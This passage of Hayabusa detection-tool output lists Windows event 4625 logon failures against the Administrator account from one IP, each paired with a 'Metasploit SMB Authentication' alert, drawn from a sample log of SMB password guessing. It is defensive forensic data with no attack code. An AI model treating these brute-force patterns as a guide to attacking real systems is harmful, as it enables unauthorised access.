Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.704 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yhDnNRDnAwctVtgQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.704 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.793 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zzO7RKaBPpg549A : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.793 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.859 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: zDgDGO3IKiLoIQ5D : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:26.859 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.024 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0aaYeBTUEudC3446 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.024 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.093 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: I41H8U06uuGlMf9S : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.093 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.170 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: r6Eh55149gbuU2el : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.170 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.248 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ajzJabQi7CjosFQ1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.248 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.290 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: l9y7gyU9aJi6Fpm3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.290 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.361 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hbLiIVcBYlu5JkX2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.361 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bDfEfHk54J3lJI6m : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.496 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WOpuMTECalyeObl7 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.496 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.537 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nZQYU1dyQOqlNJDL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.537 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.577 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pc58gDT07WNH3mMz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.577 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.624 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: EhExnDfInKbEI6AO : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.624 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.710 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qKKTTQ0ZT2Ye4TV9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.710 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.772 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LdBFYyftnH67Gyh5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.772 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.812 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: eO6c2PDl7zVBGzPi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.812 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1ONnDOs16EnBkdFv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.897 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: aTHHCX9EoKRY4zhR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.897 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.939 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f1jhH08oLzpONDpa : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.939 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.976 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: o2YK7zc7Ne9c8txA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:27.976 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.013 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 86CrOo9CFreIzSM5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.013 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.056 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0X9UEojEnc350xPc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.056 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.096 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 9g3PO3jofnySl92G : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.096 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.176 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5TRndfQmPYuhV0Ri : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.176 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.204 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yyJOdaks4B1sKMDv : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.204 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.252 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IB3OSmcFx5TUiiJX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.252 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.309 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lo3Ex40dkIeO53HF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.309 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.352 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AkzDG8QOM2cxbokF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.352 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.395 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YoMf36ZXJBLnYxtc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.395 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.436 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5izPIefHqDDWNDlu : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.436 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.476 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: z9o4f1XvvcVXBNwL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.476 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.521 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: IjCR48ZJFyEhzrYI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.521 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.556 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mUV9i4O2gapcC01d : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.556 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.608 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XJzGAMQCvJBFOUPq : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.608 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.645 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Fyyu0x6I29R2J10Y : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.645 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.687 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8lCe1shqSs0xNwAJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.687 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.728 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ipZAMvm56d5mE9Fc : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.728 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.774 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XX9N7jodTuEYBCSE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.774 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.814 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: h5DBFGpzfJJ7gYV1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.814 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.848 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: fQ3qTwcWkXJDuXDI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.848 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TOfkvLSo2HuhMtvk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.889 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.940 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: y9DQUhPQHvvwAO0C : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.940 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.990 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: yao1JM0tSFv5IHnL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:28.990 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.037 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: NXGm63wiZz3ZYFb9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.037 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.077 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: izvPgZCO2GRVLhId : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.077 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.119 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: iI9zO2o7jd922pfK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:29.119 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 